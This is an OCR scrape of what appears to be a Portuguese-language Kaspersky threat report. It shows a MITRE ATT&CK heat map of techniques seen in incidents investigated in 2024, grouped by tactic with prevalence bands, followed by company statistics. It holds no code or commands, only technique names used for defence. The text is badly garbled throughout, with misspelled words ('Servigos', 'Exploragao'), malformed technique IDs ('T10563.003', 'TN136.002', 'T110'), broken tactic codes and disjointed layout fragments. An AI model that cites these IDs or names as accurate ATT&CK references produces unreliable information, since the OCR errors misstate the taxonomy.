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T1190: Exploragao de Aplicativo
em Contato com o Publico

T1078.002: Contas Vdlidas:
Contas de dominio

T199: Relagcdo Confidvel

T1133: Servigos Remotos
Externos

T1078: Contas Validas

T1566.002: Phishing:
Link de Spearphishing

T1078.003: Contas Vdlidas:

Contas locais

T1566.001: Phishing:
Anexo de Spearphishing

T1133: Servigos Remotos
Externos
T1078.002: Contas Validas:
Contas de dominio

T1566: Phishing

A matriz MITRE ATT&CK descreve as taticas e
técnicas usadas por adversarios que tém como alvo
redes corporativas. Codificamos a matriz por cores
para destacar a prevaléncia de diferentes técnicas
com base nos ataques que investigamos em 2024.

>20%

T1059.003: Interpretador de
Comandos e Scripts: Shell de
comando do Windows

T1569.002: Servigos do Sistema:
Execugéo de Servigos

T1059.001: Intérprete de Geragdo
de Scripts e Comandos: PowerShell

T1053.005: Tarefa/Trabalho
Agendado: Tarefa agendada

T1047: Instrumentagéo de
Gerenciamento do Windows

T1059: Intérprete de Geragdo
de Scripts e Comandos

T1059.004: Intérprete de Geragao

de Scripts e Comandos: Unix Shell

T1059.005: Intérprete de Geragdo
de Scripts e Comandos: Visual Basic

T10563.003: Tarefa/Trabalho
Agendado: Cron

T1059.006: Intérprete de Geragédo
de Scripts e Comandos: Python

T1021.002: Servigos Remotos:
Compartilhamentos SMB/
Windows Admin

T1204: Execugéo de Usuérios

T1059.001: Intérprete de Geragao
de Scripts e Comandos: PowerShell

T1059.001: Intérprete de Geragéao
de Scripts e Comandos: PowerShell

T1559: Comunicagéao
Intra-Processos

T1053: Tarefa/Trabalho agendado

T1203: Exploragdes para
Execugéo de Clientes

T1053.002: Tarefa/Trabalho
Agendado: At

T1078.002: Contas Vdlidas:
Contas de dominio

T1543.003: Criagdo ou
Modificagao de Processo do
Sistema: Windows Service

T1505.003: Componente de
Software do Servidor: Web Shell

T1136.001: Criagdo de Conta:
Contalocal

T1053.005: Tarefa/Trabalho
Agendado: Tarefa agendada

T1078.003: Contas Validas:
Contas locais

T1098: Manipulagédo de Contas

T1547.001: Execugédo de
inicializagdo ou inicio automatico
de logon: Chaves de Execugéo de
Registro / Pasta de Inicializagdo

T1133: Servigos Remotos
Externos

TN136.002: Criagao de Conta:
Contas de dominio

TN36: Criagdo de Conta

T1053: Tarefa/Trabalho agendado

T1037: Scripts de Inicializagdo
ou Inicializagdo de Login

T1543.003: Criagdo ou
Modificagao de Processo do
Sistema: Windows Service

T1543: Criagédo ou Modificagao
de Processo do Sistema

T1574.002: Fluxo de Execugéo de
Sequestro: Carga lateral de DLL

T1053.003: Tarefa/Trabalho
Agendado: Cron

T1098.004: Manipulagédo de
Contas: Chaves autorizadas SSH

T1078: Contas Vaélidas
T1574.006: Fluxo de Execucao

de Sequestro: Sequestro de
vinculador dindmico

T1546.003: Execugédo Disparada por
Evento: Assinatura de Evento de
Instrumentagéo de Gerenciamento
do Windows
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TAO004:
Escalagdo de Privilégios

TAOQOS:
Evas3do de Defesa

TAOOOQ6:
Acesso de Credencial
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Mapa de calor de
taticas e técnicas

TAOOOQ7:
Descoberta

T1078.002: Contas Validas:
Contas de dominio

T1068: Exploragdo para Escalagdo
de Privilégios

T1484.001: Modificagdo da diretiva de
dominio: Modificagéo da Diretiva de Grupo

T1078.002: Contas Validas:
Contas de dominio

T1547.005: Execugdo de Inicializagdo ou Logon
Automético: Provedor de Suporte de Seguranga

T1098: Manipulagao de Contas

T1543.003: Criagédo ou Modificagéo de
Processo do Sistema: Windows Service

T1548.002: Abuso de Mecanismo de
Controle de Elevagao: Desvio do controle
de conta de usudrio

T1548.001: Abuso do Mecanismo de
Controle de Elevagao: setuid e setgid

6-11% 1M-15%

T1562.001: Comprometimento de Defesas:
Desativar ou modificar ferramentas

T1070.001: Remogao do indicador: Limpeza
de logs de eventos do Windows

T1140: Remog&o de ocultagdo/
decodificagdo de arquivos ou informagdes

T1036.005: Correspondéncia de Nome
ou Localizagao Legitima

T1036.004: Mascaramento:
Tarefa ou Servigo de Mascara

T1027.002: Ocultagédo de Arquivos ou
Informagdes: Pacote de Software

T1078.002: Contas Validas:
Contas de dominio

T1112: Modificagéo de Registro

T1027.010: Ocultagéo de Arquivos ou
Informagdes: Ofuscamento de comando

T1218.011: Execugé@o de Proxy Bindrio
de Sistema: RundlI32

T1070.003: Remogéo do indicador: Limpeza
de histérico de comandos

T1078.003: Contas Validas: Contas locais
T1055: Injeg&o de Processos

T1070.006: Remogao de Indicador:
Carimbo de hora

T1027.010: Ocultagao de Arquivos ou
Informagdes: Ofuscamento de comando

T1027.001: Ocultagdo de Arquivos
ou Informagdes: Padding Binario

T1027.013: Arquivos ou Informagdes Ofuscados:
Arquivo Criptografado / Codificado

T1562.001: Comprometimento de Defesas:
Desativar ou modificar ferramentas

T1574.001: Sequestro do Fluxo de Execugao:
Sequestro da Ordem de Buscade DLL

T1562: Obstrugéo de Defesas

T1574.002: Fluxo de Execugao de Sequestro:
Carga lateral de DLL

T1070.003: Remogao do indicador:
Limpeza de histérico de comandos

Evasao de Depurador (Debugger)
T1562.002: Comprometimento de Defesas:
Desativagao de geragdo de logs de eventos

do Windows
T1070: Remogao de Indicador

T1027: Ocultagdo de Arquivos ou Informagdes

T1564.006: Ocultar Artefatos: Executar
Instancia Virtual

T1484.001: Modificagao da diretiva de
dominio: Modificagdo da Diretiva de Grupo

T1218: Execugéo de proxy binério de sistema:
Mshta

15-20%
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7 >20%

T1003: Dumping de Credenciais do SO

T1003.001: Dumping de Credenciais de SO

T1552.001: Credenciais Inseguras:
Credenciais em arquivos

T1555: Credenciais de Lojas de Senhas

T1110.001: Forga Bruta: Adivinhagao
de senha

T110: Ataques de Forga Bruta

T1003.003: Dumping de Credenciais
do SO:NTDS

T1003.003: Dumping de Credenciais
do SO:NTDS

T1003.001: Dumping de Credenciais de SO

T1555: Credenciais de Lojas de Senhas

T110.003: Forga Bruta: Pulverizagao
de senha

T1555.004: Credenciais de Armazenamento de
Senhas: Gerenciador de Credenciais do Windows

T1212: Exploit de Credenciais de Acesso
T1557: Ataque Man-in-the-Middle

T1528: Roubo de Token de Acesso
de Aplicativo

T1552: Credenciais Desprotegidas

T1056,001: Captura de Entradas:
Keylogging

T1552.004: Credenciais Nao Seguras:
Chaves Privadas

T1555.003: Credenciais de Repositérios de
Senhas: Credenciais de navegadores da web

T1552.001: Credenciais Inseguras:
Credenciais em arquivos

T1040: Sniffing de Rede

T1018: Detecgédo Remota do Sistema

T1135: Detecgdo de Compartilhamento
de Rede

T1082: Descoberta de Informagdes
do Sistema

T1087.002: Descoberta de conta:
Contas de dominio

T1482: Deteccdo de Dominios
de Confianga

T1069.002: Detecgéo de Grupos de
Permissdo: Grupos de dominio

T1057: Descoberta de Processos

T1033: Descoberta do proprietério/usudrio
do sistema

T1049: Descoberta de Conexdes de Rede
do Sistema

T1016: Descoberta de Configuragédo
de Rede do Sistema

T1615: Descoberta de Politica de Grupos

T1083: Descoberta de Arquivos e Diretérios

T1087.001: Descoberta de conta:
Contalocal

T1087: Detecgao de Contas

T1560.001: Arquivamento de Dados
Coletados: Arquivamento via utilitério

T1124: Descoberta de Tempo do Sistema

T1201: Descoberta de Politica de Senhas

T1012: Registro de Consultas

T1614.001: Descoberta de Localizagdo do
Sistema: Descoberta de Idioma do Sistema




TAOO0O08:
Movimentagao Lateral

TAO0O09:
Coleta

TAOQOT11:
Comando e Contr_ole

TAOO10:
Exfiltracao

k

N

Mapa de calor de
taticas e técnicas

TAOO040:
Impacto

T1021.002: Servigos Remotos:
Compartilhamentos SMB/
Windows Admin

T1021.004: Servigos Remotos:
SSH

T1021: Servigos Remotos

T1570: Transferéncia Lateral
de Ferramentas

T1021.006: Servigos Remotos:
Gerenciamento Remoto do
Windows

T1550.002: Usar Material de
Autenticagdo Alternativo: Pass
the Hash

T1021.003: Servigos Remotos:
Modelo de Objeto de
Componente Distribuido

T1021: Servigos Remotos

T1021.001: Servigos Remotos:
Protocolo de érea de trabalho
remota

T1021.002: Servigos Remotos:
Compartilhamentos SMB/
Windows Admin

T1210: Exploragéo de Servigos
Remotos

T1563.001: Sequestro de
Sessdo de Servigo Remota:
Sequestro de SSH

6-11%

1M-15%

T1560.001: Arguivamento
de Dados Coletados:
Arquivamento via utilitario

T1005: Dados Prevenientes
do Sistema Local

T1039: Dados de Unidade
Compartilhada de Rede

TIM9: Coleta Automatizada

T1114.001: Coleta de E-mail:
Coleta de E-mail Local

T1560: Dados Coletados do
Arquivamento

T1113: Captura de Tela

T1572: Tunel de protocolo

15-20%
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T105: Transferéncia de
Ferramenta de Ingresso

T1071.001: Protocolo de
Camada de Aplicativos:
Protocolos daweb

T1219: Software de Acesso
Remoto

T1090.002: Proxy: Proxy
externo

T1132.001: Codificagéo de
Dados: Codificagao padrdo

T1090: Proxy

T1564: Ocultagdo de Artefatos

T1071.004: Protocolo de
Camada de Aplicativos: DNS

T1568.002: Resolugédo
Dinadmica: Algoritmos de
Geragdo de Dominios

T1102: Servigo da Web

T1568: Resolugdo Dindmica

T1573.001: Canal Criptografado:
Criptografia simétrica

T1041: Exfiltragdo via Canal C2

T1071: Protocolo de Camada
de Aplicativos

0 >20%

- T1567: Exfiltrag&o via Servigo

da Web

T1537: Transferéncia de Dados
via Conta na Nuvem

T1020: Exfiltragao
Automatizada

T1567.002: Exfiltragdo por
Servigo Web: Exfiltragdo para
Armazenamento em Nuvem

T1048: Exfiltragéo via
Protocolo Alternativo

T1041: Exfiltragéo via Canal C2

T1485: Destruicdo de Dados

T1561: Apagamento de Disco

T1561.002: Limpeza de disco:
Limpeza da estrutura do disco

T1565: Manipulagdo de Dados
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5000+
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na Kaspersky
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dos nossos funcionarios
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Centros de exceléncia
exclusivos

467 mil

Novos arquivos maliciosos
detectados diariamente
pela Kaspersky

200 mil

clientes corporativos
em todo o mundo

4.9 bilhdes
ciberataques detectados
pela Kaspersky em 2024
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